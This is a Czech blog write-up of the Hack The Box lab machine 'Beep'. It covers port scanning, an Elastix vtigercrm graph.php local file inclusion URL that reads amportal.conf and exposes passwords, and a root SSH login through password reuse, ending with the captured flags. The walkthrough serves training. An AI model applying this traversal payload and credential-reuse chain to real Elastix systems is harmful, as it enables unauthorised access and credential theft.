tom@home.htb:~$

Blog o HTB

4 November 2020

Beep

Úvod a kontext

Beep je dobrá ukázka prostředí s velkou attack surface, kde ale skutečný průlom stojí na jednom přesně zvoleném souboru. Zranitelnost graph.php ve vtigercrm nevede rovnou ke shellu, ale dovolí přečíst amportal.conf, a právě ten obsahuje hesla, která propojí webovou vrstvu Elastixu, Asterisk i samotný operační systém.

Didakticky je tady důležitý kontrast mezi množstvím otevřených portů a jednoduchostí skutečné cesty dovnitř. Není potřeba rozebírat celý PBX stack; stačí pochopit, která konfigurační data mají nejvyšší hodnotu a jak se z LFI stane přímé SSH přihlášení jako root.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http       Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: APOP LOGIN-DELAY(0) UIDL TOP EXPIRE(NEVER) IMPLEMENTATION(Cyrus POP3 server v2) PIPELINING AUTH-RESP-CODE USER RESP-CODES STLS
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            875/udp   status
|_  100024  1            878/tcp   status
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: THREAD=ORDEREDSUBJECT RIGHTS=kxte URLAUTHA0001 CONDSTORE X-NETSCAPE LIST-SUBSCRIBED IMAP4 UNSELECT ATOMIC MAILBOX-REFERRALS ACL LISTEXT UIDPLUS SORT ID STARTTLS CHILDREN ANNOTATEMORE THREAD=REFERENCES QUOTA Completed SORT=MODSEQ IMAP4rev1 BINARY CATENATE MULTIAPPEND OK LITERAL+ NAMESPACE IDLE NO RENAME
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
[... výstup zkrácen ...]
4190/tcp  open  sieve      Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax    HylaFAX 4.3.10
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: __CENSORED__
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix

Analýza zjištění

Identifikace a hledání exploitu

Zjišťuji technologii a ověřuji známé zranitelnosti.

searchsploit elastix
Elastix - 'page' Cross-Site Scripting                                                                                                                                                                      | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities                                                                                                                                                    | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities                                                                                                                                              | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion                                                                                                                                                           | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection                                                                                                                                                                          | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection                                                                                                                                                                         | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution                                                                                                                                                     | php/webapps/18650.py

Získání přístupu

Čtení amportal.conf přes LFI

Z nabídky nalezených chyb je zde nejpraktičtější LFI v vtigercrm/graph.php. Nejde o efektní RCE, ale o čtení souboru s konfiguračními tajemstvími, což je v tomto prostředí ještě cennější.

Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl
view-source:https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
AMPDBHOST=localhost
AMPDBENGINE=mysql
AMPDBUSER=asteriskuser
AMPDBPASS=jEhdIekWmdjE

AMPENGINE=asterisk

AMPMGRUSER=admin
AMPMGRPASS=jEhdIekWmdjE

Přihlášení na cíl

Heslo z AMPMGRPASS funguje i pro systémový účet root. Jedinou praktickou komplikací je zastaralý SSH stack, takže je potřeba povolit starý key exchange algoritmus.

ssh root@10.10.10.7 -oKexAlgorithms=+diffie-hellman-group1-sha1 # Pass: jEhdIekWmdjE

Získání user flagu

Protože přihlášení proběhlo rovnou jako root, user.txt jen potvrzuje dopad kompromitace na běžný účet fanis.

ssh root@10.10.10.7 -oKexAlgorithms=+diffie-hellman-group1-sha1 # Pass: jEhdIekWmdjE

[root@beep ~]# cat /home/fanis/user.txt
__CENSORED__

Eskalace oprávnění

Získání root flagu

V tomto případě nejde o samostatný privilege escalation krok. Privilegovaný přístup vznikl už reuse hesla mezi správou Elastixu a systémovým účtem root.

ssh root@10.10.10.7 -oKexAlgorithms=+diffie-hellman-group1-sha1 # Pass: jEhdIekWmdjE

[root@beep ~]# cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: sql-injection - rce - ssh - php - exploit - enumeration